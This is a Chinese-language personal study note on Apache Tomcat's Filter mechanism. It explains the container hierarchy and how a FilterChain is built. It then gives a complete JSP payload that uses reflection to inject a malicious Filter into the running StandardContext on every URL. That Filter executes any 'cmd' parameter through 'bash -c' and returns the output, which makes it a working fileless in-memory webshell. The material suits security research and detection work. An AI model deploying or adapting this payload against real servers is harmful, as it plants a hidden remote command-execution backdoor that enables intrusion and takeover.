摘要:个人笔记,记录得很简略,仅供参考。
0x01 前置知识
Tomcat大致结构
了解tomcat结构有助于理解之后的Filter的执行原理。

如上图,一个TomcatServer下有多个Host(虚拟主机),每个Host下又有多个Context(Web应用),每个Context下有还有多个Wrapper(封装器)用于封装一个Servlet。

对应于Tomcat的目录,Webapps就是对应的Host组件,Webapps下的目录就是Context。
ServletContext、ApplicationContext和StandardContext
参考这篇文章
javax.servlet.ServletContext
:Servlet规范中规定的一个接口,它提供了Web应用所有Servlet的视图,通过它可以对某个Web应用的各种资源和功能进行访问。
org.apache.catalina.core.ApplicationContext
:对应Tomcat容器,为了满足Servlet规范,是对ServletContext接口的实现,每个Tomcat的Context容器中都会包含一个ApplicationContext。
org.apache.catalina.core.StandardContext
:ApplicationContext中的方法实现最终调用的是StandardContext中的方法,因此可以理解为Tomcat中真正起作用的是StandardContext,其实更像对StandardContext的一种封装
Filter与其运行流程
定义:用于对Web请求做预处理的过滤器。
部署方式:Servlet3.0+支持基于注解部署,如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24
| import javax.servlet.*; import javax.servlet.annotation.WebFilter; import java.io.IOException; import javax.servlet.Filter;
@WebFilter(filterName = "TestFilter", urlPatterns = {"/demo"}) public class FilterDemo implements Filter {
@Override public void init(FilterConfig filterConfig){ System.out.println("Filter Initialize success!"); } @Override public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws ServletException, IOException { System.out.println("Filter runing"); filterChain.doFilter(servletRequest,servletResponse);
}
public void destroy() {}
}
|
自定义的Filter类必须实现Filter接口并重写init和doFilter方法。
运行流程:
以下调试过程基于Tomcat9.0.56
1 2 3 4 5 6 7 8 9 10
| StandardWrapper#invoke为Filter层入口点 98行ApplicationFilterFactory#createFilterChain用于拿到对应path触发的FilterChain 42行wrapper.getParent()拿到本Context的所有信息 43行context.findFilterMaps()拿到本Context的FilterMaps 59-67行for代码块根据FilterMap中挑出所有符合请求path的FilterConfig的名字加入到FilterChain中 62行context.findFilterConfig从本Context拿到对应的FilterConfig 153行filterChain.doFilter()为执行doFilter的入口点 69行this.internalDoFilter() 79行filterConfig.getFilter()从FilterConfig中获得具体的Filter 89行filter.doFilter()执行最后的Filter
|
Context(StandardContext实例)中包含着FilterMaps(FilterMap实例数组)、FilterDefs(FilterDef的HashMap)和FilterConfigs(FilterConfig的HashMap)
FilterMap中包含着filterName和对应的urlPattern
FilterConfig中包含着Filter实例,FilterDef实例和所属的Context
FilterDef中包含着Filter所属的类、FilterName
0x02 构造Payload
根据上一小节的分析,只需要在运行时的Context中加入恶意的Filter,要做到这点需要解决两个问题
- 如何获取当前应用功能的Context
- 如何往Context中加入恶意的Filter
第二个问题按照之前师傅的解决思路,翻看构造处理每次请求的filterchain的方法createFilterChain
能够知晓Tomcat是如何添加,从而攻击者便可在Webshell中通过反射执行对应的方法将恶意Filter注入到Tomcat中
第一个问题:能够直接获得requset(javax.servlet.http.HttpServletRequest)时,直接反射获取
1 2 3 4 5 6 7 8 9 10 11 12
| ServletContext servletContext = request.getSession().getServletContext();
Field appctx = servletContext.getClass().getDeclaredField("context"); appctx.setAccessible(true); ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);
Field stdctx = applicationContext.getClass().getDeclaredField("context"); stdctx.setAccessible(true); StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);
|
而后直接构造Filter并将其加入到Context中,全部代码如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95
| <%@ page import="org.apache.catalina.core.ApplicationContext" %> <%@ page import="java.lang.reflect.Field" %> <%@ page import="org.apache.catalina.core.StandardContext" %> <%@ page import="java.util.Map" %> <%@ page import="java.io.IOException" %> <%@ page import="org.apache.tomcat.util.descriptor.web.FilterDef" %> <%@ page import="org.apache.tomcat.util.descriptor.web.FilterMap" %> <%@ page import="java.lang.reflect.Constructor" %> <%@ page import="org.apache.catalina.core.ApplicationFilterConfig" %> <%@ page import="org.apache.catalina.Context" %> <%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%>
<% final String name = "hn13"; ServletContext servletContext = request.getSession().getServletContext();
Field appctx = servletContext.getClass().getDeclaredField("context"); appctx.setAccessible(true); ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);
Field stdctx = applicationContext.getClass().getDeclaredField("context"); stdctx.setAccessible(true); StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);
Field Configs = standardContext.getClass().getDeclaredField("filterConfigs"); Configs.setAccessible(true); Map filterConfigs = (Map) Configs.get(standardContext);
if (filterConfigs.get(name) == null){ Filter filter = new Filter() { @Override public void init(FilterConfig filterConfig) throws ServletException {
}
@Override public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException { HttpServletRequest req = (HttpServletRequest) servletRequest; if (req.getParameter("cmd") != null){ byte[] bytes = new byte[1024]; Process process = new ProcessBuilder("bash","-c",req.getParameter("cmd")).start(); int len = process.getInputStream().read(bytes); servletResponse.getWriter().write(new String(bytes,0,len)); process.destroy(); return; } filterChain.doFilter(servletRequest,servletResponse); }
@Override public void destroy() {
}
};
FilterDef filterDef = new FilterDef(); filterDef.setFilter(filter); filterDef.setFilterName(name); filterDef.setFilterClass(filter.getClass().getName());
standardContext.addFilterDef(filterDef);
FilterMap filterMap = new FilterMap(); filterMap.addURLPattern("/*"); filterMap.setFilterName(name); filterMap.setDispatcher(DispatcherType.REQUEST.name());
standardContext.addFilterMapBefore(filterMap);
Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class,FilterDef.class); constructor.setAccessible(true); ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext,filterDef);
filterConfigs.put(name,filterConfig); out.println("Inject Success !");
} %>
|